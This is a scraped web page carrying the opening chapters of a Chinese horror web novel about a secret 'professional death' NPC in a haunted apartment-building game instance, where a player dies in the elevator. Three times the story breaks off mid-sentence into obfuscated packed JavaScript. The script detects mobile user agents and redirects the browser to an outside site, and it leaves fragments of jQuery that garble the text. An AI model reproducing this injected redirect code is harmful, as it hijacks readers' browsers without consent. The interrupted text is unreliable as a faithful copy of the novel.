《作死我是认真的[无限]》 1. 情终 阳光明媚的午后,轻拂过耳畔的微风带来闲适惬意的说笑声。 飘散的意识逐渐回笼,耳边响起冰冷熟悉的电子音。 【副本:情终。 卦象:蛊卦。 副本地点:居民楼,副本时限:七天。】 梨乐一睁开眼,发现自己面前是一幢现代化的居民楼,她数了数,这栋楼一共有十层,每层楼看上去都有住人。现在这个时间点,住户们都差不多已经吃完午饭了,一楼入口处右边的窗户里传来电视机新闻播报的声音。 梨乐一抬脚朝楼内走,忽然感觉到一道阴冷的视线从头顶落下。几乎是在察觉到视线的瞬间,梨乐一便抬头向上看去。 什么也没有发现。 梨乐一复又低下头。 她并不觉得刚才是自己的错觉,刚才一定有“人”在楼上看她,被她察觉之后,那个“人”便立刻躲了起来。 不过…… 管他呢,爱看看呗。 梨乐一无所谓地耸耸肩,抬脚继续朝楼内走去。 进到一楼大厅,里面已经有几个人在等着了。 “你也是【怨】的玩家对吧?” 一个长相清秀斯文,带着无框眼镜的男人主动走上前来和梨乐一打招呼:“你好,我叫成晖。” “梨乐一。”梨乐一抿了抿唇,略显紧张地回答道。 成晖眉梢微挑:“你是新人?” 梨乐一摇头:“不是,这是我进入【怨】后过的第二个副本。” “这样啊,”成晖朝她露出一个友善的笑,语气温和带着安抚,“你要是害怕的话就跟着我,我之前已经经历了五个副本,也算是有一些经验。” 梨乐一对成晖感激地笑笑:“谢谢你。” “不客气。”成晖移开视线,语气和刚才相比僵硬了许多,隐在发丝间的耳朵浮上一层浅浅的粉。 旁边突然传来一声轻嗤,梨乐一看过去,是个微胖男人,年纪看上去大概三十岁出头的样子。 他也是进入这个副本的玩家之一。 对上梨乐一视线后,他轻佻地吹了一声口哨,浑浊的目光不加掩饰地落在梨乐一身上。 下一秒,成晖挡在梨乐一身前,隔绝了男人不怀好意的视线。 众人在一楼大厅又等了半个小时,确定没有人再来后,成晖清点了一下人数,加上他一共是五男五女。 十个人中除了梨乐一是只经历过一次副本的“菜鸟”,其余人都是已经在【怨】里经历过三四次甚至更多副本的老人。 但无论是像成晖这样已经过了五次副本的老人,还是那些刚被拉进【怨】里,对其一无所知的菜鸟,都不知道【怨】的来历,也不知道自己为什么会被拉进【怨】里来。 他们都是在最为平常的一天里,做着一件不起眼的小事时,突然被拉进副本里来的。 不管他们是否愿意,只要被拉进了【怨】的副本,他们就只剩下一个选择,在规定时限内找到这个副本里形成【怨】的执念是什么,化解执念通关副本,便可以离开这个恐怖又诡异的地方。 成晖拍手让大家的注意力集中到自己身上:“现在我们玩家已经到齐了,却没有NPC来引导我们进行下一步,这说明这个副本里的信息需要我们自己去探索。” “刚才进入副本时,大家应该都看到这次副本的卦象了吧?” 副本开头除了给出一些基本信息之外,还给出了一个卦象,那个卦象可以理解为,是对副本里形成【怨】的执念亦或是背景故事的一个概括总结。 所以,副本初期、玩家对副本内情况不甚了解的时候,玩家们可以通过开局给出的卦象来推测出一个大致的调查方向。 梨乐一回想刚进入副本时看到的信息,蛊卦。 山风蛊卦,山下有风,风逐渐将山掏空,表示矛盾存在于内部,祸起萧墙。结合他们现在身处的居民楼,倒也不难猜,无外乎是楼内住户之间的矛盾,又或者家庭的内部矛盾。 众人的猜测也和梨乐一心中所想大差不差,至于具体是什么矛盾,就得靠他们后期在副本里慢慢探索了。 “副本提示上说了,时限为七天,在这期间我们都要住在这栋楼里,我们每个人先把要住的屋子确定下来吧。” 成晖凭借着沉稳亲和的性格,在不知不觉中便成为了众人的主心骨,他话音落下,众人不约而同地开始寻找起来。 梨乐一转头看向大厅进门右手边的信箱,用所有人都能听到的音量说道:“咦,那是什么?” 成晖顺着梨乐一的视线看过去,发现有一个没有号码的信箱的门是开着的。他走过去往里看,果然在箱子里看见了带着号码牌的钥匙。 众人见状纷纷走过去拿钥匙,梨乐一慢悠悠落在最后,和成晖一起选了4楼的403和402两间房间。 “4”通“死”,在众人看来,这个数字一般都跟不详挂钩,尤其是在【怨】这种一不小心就会丧命的恐怖求生游戏里,所以没有人愿意选。 梨乐一垂眼,默默看着手里这把有些生锈的钥匙。 她个子不算高,一米六出头,身形瘦弱,皮肤很白,在大厅冷白光线的照射下,更是近乎于没有血色的苍白,很容易给人一种脆弱易折的感觉,也很容易勾起别人的怜悯心和保护欲。 成晖见梨乐一拿到房间钥匙后不说话,以为她是害怕,安慰她道:“现在我们刚进来,对于这个副本的情况并不了解,住哪里都是一样的。” 梨乐一收起钥匙,没有对成晖解释什么,只是冲他笑笑:“嗯。” 现在时间还早,成晖提议大家先去各自房间看看暂作休整之后,便分散在楼里寻找和这次副本有关的线索。 众人没有异议,沿着楼梯往楼上走。 居民楼其实是配有电梯的,但在各种恐怖电影和小说里,电梯并不是什么好地方。 所以在副本刚开始,还没有收集到多少信息的时候,万事谨慎为上。 每层楼有4户,电梯和楼梯正对着的是2号房和3号房,电梯出门左拐是1号房,楼道出口旁则是4号房。 梨乐一来到403门口,拿出钥匙准备开门。出于某种长久以来养成的“职业习惯”,她在进门前往隔壁404的房门看去。 404房间应该有人住,门口的鞋架上整齐地摆着几双篮球鞋,球鞋都被刷得很干净,看得出来,房间主人是个爱干净的人。 而且这栋楼的房间隔音并不好,梨乐一站在403的房门口,能听见404房间里隐隐约约传出打游戏的声音。 梨乐一略感诧异。 404房间似乎并不像大部分恐怖电影里以及大家所猜测的那样,是个阴森诡异、处处透露着不详的地方。 又或许,这种平静其实是一种伪装? “梨乐一。”成晖突然出声叫她。 梨乐一收起思绪转头看向成晖:“啊?” 成晖:“我就在你隔壁,你要是害怕或者感觉到房间里有什么不对劲的地方,都可以来找我。” 成晖比梨乐一高出一个头,梨乐一仰头看着他,闻言像是被安慰到,长舒一口气笑道:“谢谢你,我会的。” 梨乐一的长相不是可爱型,相反,她的五官明媚张扬,笑起来时,在白皙皮肤的映衬下,乌发红唇浓烈到极致。 成晖还想跟她说些什么,但是在对上她那双澄澈干净的眼眸之后,却又什么都不出来。 梨乐一开门进屋,成晖在门关上后才恍然回神,默默掏出钥匙开门。 403房间不大,一室一厅,布置的简单干净。 进到房间关上门后,梨乐一一反刚才在成晖面前表现出的温和无害模样,神情严肃地在房间里四处寻找起来。 和成晖这类在【怨】里艰难求生的玩家不同,梨乐一其实是【怨】的NPC。 不过她并不是在副本里为玩家提供通关线索的那类NPC,而是那种精准踩雷、专业作死,靠着一条烂命就是干的风格,为玩家们提供“千万不能做”线索的NPC。 她在副本里的死相越惨,出了副本得到的佣金也就越高。 把房间每个角落都翻了个遍后,梨乐一确认了危险并不存在于房间里,至少白天是这样。 梨乐一回想起进楼时那种被人盯着的后背发凉感。 有人在暗中监视着玩家的一举一动,但,监视他们的是人吗?且这个副本的死亡条件 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286471|182619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到底是什么? 梨乐一一边想着事,一边走到厨房打开冰箱,冰箱里放着新鲜的食材,还有面包等等,度过副本要求的七天绰绰有余,但对梨乐一这种“一心求死”的炮灰NPC来说就没什么用了。 简单地用面包填了一下肚子后,梨乐一便出门从一楼开始,慢慢地往楼上找,看楼里有哪些不对劲的地方。 找到三楼时,梨乐一遇见了之前在一楼大厅,对她吹口哨的那个轻佻男人。 男人叫许宗良,住在九楼的904号房间。 “喂。”许宗良主动开口叫住梨乐一,“你前一个副本应该也是靠着男人才活下来的吧?” 梨乐一没搭理许宗良,准备往楼上去,许宗良见状一个跨步拦在梨乐一面前:“怎么,我说错了吗?像你这细胳膊细腿的,要是在副本里没个人护着,早被别人啃得渣都不剩了。” 他眼睛微微眯着,黏腻浑浊的视线将梨乐一上下打量一番:“跟着成晖那个毛头小子还不如跟着我,他也就是现在对你好一点,等到【怨】出现,你看他还有没有闲心管你。但我跟他不一样,前几个副本要是没有我,那群人早就团灭了。” “反正你要找个大腿抱……”许宗良意味深长地笑着,“抱个粗的多好,我保证让你这个副本活着出去,怎么样?” 梨乐一:…… 巧了么不是,她还偏偏就不想“活着”出这个副本。 像许宗良这样的人,梨乐一在之前的副本里不知遇见过多少,仗着自己平安度过了几次副本,就在副本里放松警惕,生出一些乱七八糟的下流心思。 对于这种人,梨乐一向来是懒得搭理的。 梨乐一冷淡拒绝道:“不用了。” 她绕过许宗良走进楼道,碰巧遇见成晖从楼上走下来:“原来你在这里,你出门的时候怎么不叫上我一起?” 见许宗良也在,成晖脸色一变,大步上前站在梨乐一和许宗良之间,隔绝许宗良看向梨乐一的视线。 许宗良轻嗤一声,没再多说什么,不慌不忙地朝楼下走。 梨乐一在许宗良这种人面前不屑于装,但是在成晖面前还是得装一下她的“菜鸟”人设的。 她低下头,声音弱弱地解释道:“我、我待在房间里太害怕了,所以就想早点出来找线索。” 成晖点头:“我们一起找吧。” 二人从四楼继续往上查看。 除了玩家之外,每层楼倒是也住了一两户人家,楼内并没有太多房间空置着,放在门旁的垃圾袋、门口的鞋架以及摆放在楼梯间的垃圾桶都充满了生活的烟火气,没有丝毫副本里应该有的恐怖氛围。 直到两人上到九楼,准备往十楼去的时候。 这栋楼的楼道里是有窗户的,每层楼的拐角平台都有一扇大窗户,因此白天在楼道内,就算不开灯,楼道内的光线也十分充足。 但梨乐一脚刚踩上通往十楼的台阶,整个人就不受控制地打了一个寒颤。 熟悉的感觉,来了。 她抬头看向拐角平台处的那扇窗户。 有几缕阳光透过窗户敞开的缝隙落在深灰的水泥地面上,但梨乐一感觉不到丝毫阳光的温度,反而觉得那几束光像是上吊用的白绫,在空中虚无地漂浮着。 再者说,明明应该是楼层越高采光越好,但九楼通往十楼的楼道却恰恰相反,和楼下相比,这里显得昏暗许多。 成晖也察觉到不对劲了,他走到梨乐一身前,一步一步,小心翼翼地朝楼上走去。 视线缓缓升高,越过台阶,正对着楼道的是1003房间。 1003房间门口凌乱地摆放着一些纸箱、烂扫帚之类的杂物,这间房间的主人似乎是很着急地搬离这里的。 在离十楼还剩下最后几级台阶的时候,成晖停下了脚步,视线定定地看着某个地方。 梨乐一顺着他的目光看去,是1004房间,看清楚房门的那一刻,梨乐一眼睛一亮。 1004房间的大门上贴着封条,还有几张黄色的符纸,和楼内其他房间比起来,重新刷了漆的朱红色的大门流露出说不出的诡异。 一阵风吹过,门上松动的封条和符纸被吹得哗哗作响。 2. 情终 1004房间一看就知道不对劲,成晖本想说如果梨乐一害怕的话就下去九楼等他。回过头,就看见梨乐一虽然状似害怕地瑟缩在他身后,但眼神却直勾勾地盯着1004房间的门。 梨乐一见成晖转头看着自己,指了指1004房间的门,又开始了她蹩脚的演技:“我的天哪,那个房间一看就不对劲,我们过去看看吧。” “哦……好。”成晖忽略心中那点怪异感觉,带着梨乐一小心地朝十楼走去。 十楼的地面覆着一层厚厚的灰尘,一走一个脚印,这里似乎已经很久没有人踏足了。 而1004的房门不仅被锁着,门外还多加了一把铁质的大锁,牢牢地将门锁住。 是在怕里面的东西出来?还是防止外面的人想要进去? 梨乐一凑近细看房门,发现那几张符纸上的符文呈深褐色,似乎不是用朱砂画的,而是用血来画的。 这血大概率不会是什么动物血,而是人血,毕竟这是在恐怖副本里。 她现在可以确定,副本这一次的任务和1004房间有关。难道说,这个副本里的【怨】就在1004房间里?那她该怎么样让【怨】盯上自己。 梨乐一心里想着事,手指无意识轻触上房门,一股森冷的寒意瞬间沿着指尖窜至全身。 “梨乐一?” 成晖见梨乐一表情不对,手还放在了1004的房门上,赶忙出声叫她:“这里给我的感觉很不对劲,我们先下去。” 梨乐一回神,使劲搓着手臂上冒出来的鸡皮疙瘩:“这里确实阴森森的,我们赶紧离开吧。” 二人下到九楼,许宗良也在楼里逛了一圈准备回房间休息一会。 他见成晖和梨乐一从十楼走下来,倒也没客气,径直问道:“有发现什么有用的线索吗?” 成晖推了推眼镜,将自己刚才在十楼的发现说了出来:“问题应该出在1004。” 许宗良脸色一沉:“什么意思?” 成晖:“我刚才和梨乐一上十楼去看了,十楼应该很久没有住人了,但只有1004的房门上贴了封条,房门还用一把大锁锁住。” 许宗良听了成晖的话,脸上的血色以肉眼可见的速度退去。要知道,他就住在904,而有问题的1004就在他头顶上,如果鬼真的在1004房间里面,那他现在岂不是离危险最近的那一个? “叮咚。” 电梯门突然打开,里面走出来一个中年女人,见梨乐一他们三个年轻的男女站在电梯外,热络地上前搭话:“你们是新搬来的租户?以前没在楼里见过你们。” 不等成晖和梨乐一开口回答,许宗良猛地一下冲上前抓住中年女人的肩膀:“你知道楼上1004房间发生过什么吗?” 中年女人一听到1004脸色骤变:“你们去了十楼?” “你先别急。”成晖上前按住许宗良,然后对中年女人道,“大姐,我刚才上去看了一眼,1004的门上为什么会贴封条还有符纸?里面到底发生过什么?” “别问我,我什么都不知道。” 中年女人不知从哪来的力气,她甩开许宗良的手,转身快步走到902的门口掏出钥匙开门:“你们还年轻,我提醒你们一句,别去调查1004的事情,晚上十二点之前把门关好上床睡觉,无论听到什么都别出来。” “砰!” 902的房间门被重重关上,梨乐一成晖许宗良三个人在门外面面相觑。 趁着下午的时间,玩家们将楼内上上下下能问的住户都问了一遍,对于1004房间和里面曾经过发生过的事情,住户们都讳莫如深,每每提到都面色惊恐转头就走。 眼见着问不出什么信息,梨乐一爬楼梯也爬累了,索性回房间休息一会再接着出来找。 她掏出钥匙准备开门的时候,突然听到404房间里传出来了游戏击杀的音效,她想了想,敲响了404的房门。 梨乐一敲了几分钟,里面的游戏声不停,但却始终听不到靠近的脚步声,房间里似乎没有人。 难道说404房间的主人出门的时候没有关电脑? 梨乐一收回手,转身回到403门前。 毫无预兆的,刚进入副本时那种阴冷的窥视感再一次出现,梨乐一汗毛炸起,她猛地回头,身后空无一人。 - 晚饭时间,玩家们聚在一楼大厅。 成晖下午在小区里转了一圈,不过收获不大。 而小区外就是普通的街道,副本并没有限制玩家的活动范围,但任务地点是在小区的居民楼里,玩家们也没什么心思去外面闲逛。 毕竟等到了副本的最后期限,无论他们跑到天涯海角,都会被副本里的【怨】找到然后瞬间抹杀。 眼看暮色西沉,天很快就要黑了,在【怨】里,天黑就代表危险开始降临。众人交换完线索之后便准备各自回各自的房间去,剩下的,就全看天意了。 离开前,人群突然变得吵闹起来,梨乐一回头,见是许宗良拉着男玩家们的手在问谁今天晚上可以收留他一个晚上。 男玩家们都不愿意收留许宗良,许宗良气不过,干脆拦在众人面前不让众人离开,还试图去抢女玩家们手里的钥匙,最后被成晖和另一个男玩家合力制服,压在地上。 许宗良脸都被压得变形了,他拼命挣扎:“我只是想活下去有什么错!而且两个人住一间又怎么了?以前副本我又不是没跟人一起住过!” 成晖外表看上去斯斯文文的,实际上力气还挺大,将许宗良压在地上不能动弹:“钥匙是按照我们人头数给的,十个人十把钥匙,对应着十间房,虽然副本没有明确规定每间房的人数,但钥匙的数量已经告诉了我们,一个人一间房。” “万一两个人住一间房是触发死亡的条件怎么办?” 许宗良挣扎的动作一顿。 成晖见状警告道:“你规规矩矩地在自己的房间里好好待着,不一定会触发死亡条件,但是你再这么闹下去,我就不敢保证了。” 成晖用眼神示意女玩家们先离开,免得许宗良欺软怕硬又搞出什么幺蛾子。 女玩家们不敢多留,梨乐一也敛去眼底厌恶的情绪,转身上楼。她上到四楼,看见404的门口立着一道高大的身影。 宽肩窄腰大长腿,穿着黑白相间、背后印着数字61的篮球服,蓬勃的荷尔蒙气息扑面而来。 梨乐一默默走到403门口,掏出钥匙假装开门,实则转头正大光明地打量404住户。 从她这个角度看过去,能看见男生弧度流畅的下颌线和高挺的鼻梁,加上凸起的喉结,光是一个看不清脸的侧影便给人一种极强的攻击性。 要是脸再偏过来一点点就好了,梨乐一在心里这么想着,忍不住又把脑袋凑过去了一点。 “看够了么?” 男生开口,声音冷冽透着拒人千里的寒意,在梨乐一怔愣时,男生终于转过头来。 男生看上去也就十八九岁的模样,头发剪得很短,露出其下英气逼人的一张脸,只不过他眼中的讥讽过于明显,桃花眼眼尾微微上挑,垂眼睨人时带着股盛气凌人的倨傲感,整个人看上去十分不好接近。 梨乐一似乎看不出来男生不耐烦似的,冲他露出一个无害的笑,语气熟稔地搭话道:“弟弟,你出门回来啦?” 回应梨乐一的是重重的关门声。 房子的隔音并不好,梨乐一听见男生进屋后骂道:“又来了一群不怕死的傻B……” 梨乐一:…… “梨乐一?” 成晖的声音突然在背后响起,他以为梨乐一是因为害怕,所以不敢进屋在门口等着自己,上前安慰道:“你别害怕,天黑了之后就上床睡觉,无论听到什么声音都不要开门。” 成晖顿了顿,又补充道:“就算是听见我敲门,也不要开。” 梨乐一抬眸安静地注视成晖。 她不是一个爱在副本里交朋友的人,因为她身份的特殊性,所以跟人打好关系这件事对她来说完全没必要,对她麻烦,对别人同样也是一种麻烦。 成晖是她为数不多在副本里遇见过的,在危险重重的情况下仍能保持一颗善良且正直的心的人。梨乐一看得出来,成晖是真的想帮自己。 想着现在也许就是最后一面了,梨乐一端正了态度,语气真挚地对成晖道:“成晖,谢谢你。” 成晖觉得梨乐一的这句谢谢来得莫名其妙,但没等他捕捉到其背后的意义是什么,梨乐一便转身进了屋。 天边最后一丝光亮被黑暗吞没,居民楼的灯光一盏接着一盏地暗下去,仿若黑夜掀起无声的巨浪,顷刻间便将这栋大楼吞没。 和白天的烟火气息不同,此时此刻,这栋楼安静得仿佛一座死楼。 “啪。” 梨乐一关掉客厅的灯,坐在门口,将耳朵贴在门上听外面的动静。她今天在楼里并没有找到多少有用的信息,且楼内住户都对1004讳莫如深,这说明1004里的【怨】执念很深不好对付。 执念越深的【怨】,“死”在它手里的死状就会越惨,希望这次可以大赚一笔,让自己直接小康变中产,梨乐一在心里许愿。 夜,深了。 “风云、易测——人心、难信——” “寸寸相思、化、灰、尘——” 被刻意拉长的尖细嗓音像冰冷锋利的刀刃,划破了楼内死寂的氛围。这声音在楼内飘忽不定时远时近,时而像窸窸窣窣的低语,时而又像某人压低声音的哭泣。 梨乐一把耳朵紧紧贴在门上,才能勉强听到一点声音,那声音似乎是从楼上传下来的。 梨乐一听不清楚ta到底在唱什么,只能听出ta是在唱戏曲。 这唱戏声难道和1004有关?1004里的【怨】出来了? “咔哒。” 梨乐一轻轻将门打开一个缝隙,眼睛凑近门缝往外看。 外面一片漆黑,只有电梯按键处传来一缕暗红色的幽光,上面显示电梯此刻正停在十楼。 “尊一声海神爷,细听分——明——” 这一次,梨乐一确定了,声音的确是从楼上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这一次,他听清楚了,声音是从楼上,也就是1004里传来的。 许宗良头皮瞬间炸开,后背不由冒出一层白毛汗。 怎么回事,今天才是进入副本的第一天。 在副本里,一开始会对【怨】设各种各样的限制,这些限制会随着时间推移慢慢解开。 到了副本后期,如果玩家没能在规定时限内通关离开副本,对上【怨】必死无疑。 但在副本初期,只要玩家遵守副本一开始给出的规则,按道理来说是不会被【怨】盯上的。 他白天连十楼都没有去,怎么会被【怨】盯上,难不成真是因为他住在1004楼下的原因? 许宗良直觉不能在继续待在卧室里,他从床上起身,迅速去到客厅。 但撞击声无处不在,仿佛跟着他似的,越来越响,也越来越急促,始终盘旋在他头顶。 而他头上就是1004房间,那间被封条封住,楼内住户对其讳莫如深的1004房间。 许是在极度恐惧的状态下产生了幻听,又或许是真实发生的,许宗良从撞击声中隐约听出了什么人凄厉尖锐的哀嚎。 这个副本里的【怨】找上他了! 想到这里,许宗良不再犹豫,开门冲出房间。 九楼除了许宗良外只住了一户,就是902的中年女人,许宗良冲到902门口疯狂砸门。 “大姐,你开开门,我家里好像漏水了住不了人,你开门让我进去住一个晚上吧,睡地板就行。” “大姐,大姐!” 许宗良站在门口拍了半天,902房间里一点声音都没有,但他确定902的女人下午回屋之后没再出来过。 “艹**的!” 许宗良气急败坏地踹了一脚902大门,准备下到八楼去找住在八楼的玩家。 “风云、易测——人心、难信——” “寸寸相思、化、灰、尘——” 凄婉哀怨的尖细嗓音从空旷的楼道里传来,许宗良脚步一顿。 他此刻正站在楼梯间门口,由于光线过于黑暗,他连一步之外的景象都看不清楚,只能感觉到有一阵细微的风随着戏曲声轻轻拂过自己脸侧。 像毒蛇阴凉冰冷的吐息。 许宗良头皮瞬间炸开,他感觉周身的空气在慢慢被抽干,浑身上下像是被灌了铅一般,重到连手指都抬不起来。 而那唱戏声上一秒听还是从楼上传来的,下一秒就变为了楼下。 许宗良跌跌撞撞地退回去。 现在房间不能回,楼道里有【怨】也不能走。 许宗良迫不得已只能将视线放在不远处的电梯上,电梯恰好停在九楼,他走进电梯,斟酌再三按下了2,他记得2楼住了一男一女两名玩家。 电梯门缓缓关闭。 而楼层数上方显示的原本向下的箭头在电梯门关闭后,闪烁了两下,忽地变为了向上的箭头。 电梯开始匀速地向上运行,嘈杂低沉的嗡鸣声回荡在狭窄逼仄的空间内,不停地挤压着本就稀少的氧气。 “我与他,萍水相逢结成婚姻。” “夫妻相爱——” 电梯稳稳停在十楼。 空气仿佛静止,周围的杂音如潮水般瞬间退去,独留唱戏声隔着厚厚的电梯门响起,越来越清晰,越来越尖锐。 3. 情终 许宗良在电梯里退无可退,疯狂地按着2楼按键,但一切只是徒劳。 “叮!” 随着一声表示电梯停在十楼的清脆铃响,电梯门外的戏曲声突然变得急促起来。 “实指望生死祸福与他共命,谁知晓……” “知人知面不——知——心——” 老旧的电梯门发出沉重刺耳的轰隆声,缓缓朝两边打开。 轿厢内的冷光倾泻而出,映亮了黑暗中那道鲜红艳丽的身影。 那是一个身穿大红色戏服,脸上涂着厚厚油彩的女人。 女人鲜红欲滴的嘴唇一开一合,声音凄厉尖锐,水袖被甩得在空中飞舞,头上戴的钗环碰撞出破碎空灵的响声。 她眼睛周围涂着一圈鲜红的油彩,一双眼睛没有眼白,是死气沉沉的黑。 而她的动作从一开始的行云流水,逐渐变得僵硬,与此同时,她的头上、眼睛、鼻子还有嘴巴,都开始缓缓流出鲜血。 血液染红了她脸上惨白的油彩,让那张本就诡异的脸变得狰狞无比。 许宗良目眦尽裂,面色惨白地跌坐在地,巨大的恐惧之下,他大脑一片空白,死死按着关门键的手指因为过于用力,指甲盖开始朝外翻,在按键上留下触目惊心的血迹。 不知道是不是许宗良在心里疯狂的祈祷起了作用,没过多久,电梯门竟然真的开始向中间关闭。 女鬼没有进来,只是站在电梯外,一边僵硬地扭动身躯,一边死死地盯着许宗良,嘴里仍在唱着许宗良听不懂的戏词。 电梯门只剩下一道一拳宽的缝隙时,许宗良听见一声清脆的咔嚓声,电梯外的女鬼竟然硬生生地从腰部折断。 那张被血液染得猩红的脸了无生息地垂下,倒悬在电梯门口,黑洞洞的眼睛透过逐渐变小的缝隙直勾勾地盯着许宗良。 “我纵死黄泉,也感谢……神恩……”戏曲声变得微弱,直至消失。 “砰!” 电梯门重重合上,一声虚无缥缈的叹息从缝隙里飘了进来,但刚死里逃生的许宗良并没有注意到。 电梯终于开始向下。 许宗良蜷缩在电梯角落里,还未从刚才看见的那一幕中缓过神来,他的下身缓缓淌出一滩腥|臊的液体。 不过他现在顾不了这么多了,好歹是把命捡回来了。 电梯屏幕上的数字在一点一点变小,而那阵戏曲声也没有再在电梯外响起。 过……过去了,他没死,许宗良一时间又哭又笑,好不狼狈。 啪嗒。 一滴温热的水突然滴到许宗良的额头上,许宗良抬手抹去。他的手因为指甲盖外翻变得血肉模糊,现在才后知后觉地感到一阵钻心的疼。 啪嗒。 又是一滴水滴到了许宗良的额头上,许宗良抬手又要抹去,却突然意识到了不对劲。 电梯里,哪来的水? 啪嗒啪嗒。 那水越滴越多,没完了似的。许宗良忽地意识到什么,脸上神情变得呆滞,僵硬地抬头往上看去。 …… “啊——” 次日清晨,梨乐一是被一声撕心裂肺的嚎叫给叫醒的。 昨天晚上她想要作死的时候,不知道为什么隔壁404的男生突然也把门打开了,于是,梨乐一被男生发现,得到了男生毫不留情的讽刺。 梨乐一试图扭转一下男生对自己的印象,解释说自己只是好奇,不过404的男生明显不信,梨乐一看不见他脸上的表情,却能清楚地听出他语气中的鄙夷和嘲讽。 “只有蠢人才会在这种事情上好奇。” 梨乐一:…… 男生蹲下,视线和梨乐一齐平,略带笑意的低沉嗓音在黑暗和那阵忽远忽近的戏曲声中,有种让人不寒而栗的诡异: “你知道,之前半夜因为好奇而开门的人都怎么样了么?” 梨乐一心说她就是干这个的,怎么可能不知道,不过嘴上还是配合地问道:“怎么样了?” 男生平静地吐出两个字:“死了。” …… 梨乐一沉默,男生则是好整以暇地蹲在门口,大有就这么开着门和她一直聊下去的架势。 没办法,为了不暴露自己的身份,也为了不连累男生,梨乐一只能又退回房间,靠在门口等下一次机会。只是靠着靠着,就不小心睡着了。 再醒来外面天光已经大亮。 听到尖叫声,梨乐一暗道不好,立刻开门出去查看情况,遇见了隔壁同样被尖叫声吵醒的成晖,两人对视一眼,迅速朝着声音来源处跑去。 传来尖叫声的地点在楼下,梨乐一顺着楼梯刚下到三楼,先是闻到了一股飘散在空气中的浓烈的血腥味,然后她走进三楼,便看见一个女生面色苍白地跌坐在电梯前,似乎是看到了什么极为恐怖的画面。 这个女生并不是玩家,而是原本就住在楼里的住户,她颤颤巍巍地抬手指着电梯里:“又……又死……死……死人了。” 梨乐一顺着她手指的方向看去—— 血,电梯里到处都是血,而电梯的角落里,倒着一具血肉模糊的尸|体。 光靠看根本分辨不出这个人的身份,他整个人以一种扭曲的姿势躺在地上,身子是正对电梯门,但脑袋却是朝里的,手和脚也不正常地弯曲着,尸体周围遍布抓痕。 可以看出,这个人在死前一定经受了巨大的折磨。 玩家们陆陆续续地赶到,有人一看见这场面便忍不住吐了,其他人的脸色也没好看到哪去。 除了最开始发现尸体的住在301的女生,楼内的原住户们就像是没听见女生的尖叫似的,没有一个人出来查看到底发生了什么。 玩家们确认完情况后,谁都不敢在继续待在三楼,于是下到一楼大厅,准备讨论一下情况。 起初梨乐一并不认为电梯里的那具尸体是玩家。因为有902大婶的提醒,再加上夜晚的那阵戏曲声一听就不对劲,她不觉得玩家会傻到在晚上随便跑出房间,还不怕死地搭乘电梯。 当然,像她这种一心找死的职业NPC除外。 但是等众玩家在一楼集合,清点了人数后才发现,住在904的许宗良不见了,众人又连忙上到九楼去确认。 当看到904大敞的房门之后,众人终于确认,电梯里的那具尸|体就是许宗良。 有人不解:“怎么回事?这许宗良看上去明明不像是那么蠢的人,楼内的住户都告诫我们晚上不要出门了,他为什么还要出门?” “也许是他在房间里发现了什么,被逼得离开房间也说不定。”成晖一边说着,一边走进904房间内四处观察,看看能不能发现什么。 “而且夜晚不离开房间只是楼内住户告诉我们的,不一定正确。” 成晖说着,看了一眼那个提出疑问的人:“晚上待在房间里,或许并不是百分之百的安全。” 在【怨】的副本里,是不会有“安全屋”这一说法的,就算有,也只是在副本初期。 因为副本初期施加在【怨】身上的限制是最多的,副本在后期会一步一步解开那些限制。且每有一位玩家死亡,副本对【怨】的限制也会随之减少。 因此, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286473|182619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 副本内很少会有玩家之间自相残杀的事发生,毕竟大家都不想让副本中的【怨】力量增长过快。 等到了副本给出的最后期限,【怨】身上的限制会全部解开,在那之前玩家们如果不积极寻找线索离开副本,等待他们的结局就只有一个死字。 梨乐一跟着成晖一起走进房间,有些人因为害怕,便只站在门口朝里观望。 904房间还算干净整洁,只除了餐厅的桌椅摆放有些歪,大概是昨天晚上许宗良急匆匆跑出房间时不小心撞到的。 除此之外,904房间并没有什么打斗痕迹,梨乐一也没有在房间内发现血迹。 因此,她无法推测出许宗良到底在房间里经历了什么,才会在明知晚上出门很有可能会触发死亡条件的情况下,还是选择跑出了房间。 梨乐一抬头看着天花板,难不成和楼上的1004有关? 成晖显然也和梨乐一想到了一块去,但他们目前掌握的信息实在是太少了,冒然闯入1004房间怕会触发死亡条件,于是成晖按下心中疑虑,走到门口问大家: “你们昨天晚上除了唱戏声,还听到其他什么声音了吗?” 众人皆是摇头。 关于许宗良的死,他们得到的信息太少,可以说是走进了死胡同,只能暂且将这件事放在一边,转而调查1004房间曾经发生过的事情。 梨乐一和成晖来到三楼,不过才过去半个小时,电梯里许宗良的尸|体便不见了,是副本将其清理了,免得一直摆在电梯里吓到来往过路的人。 在成晖看不到的角度,梨乐一略有些惋惜地看了一眼电梯,许宗良是因为深夜跑出房间死在了电梯里,作为一名致力于开发不同死法的专业NPC,“深夜跑出房间”这个死法梨乐一就不能用了。 作为副本冥灯,她得开发其他的死法才行。 其他玩家因为昨天问遍了整栋楼都没有得到关于1004的消息,所以他们决定今天将询问的范围扩大到整个小区。 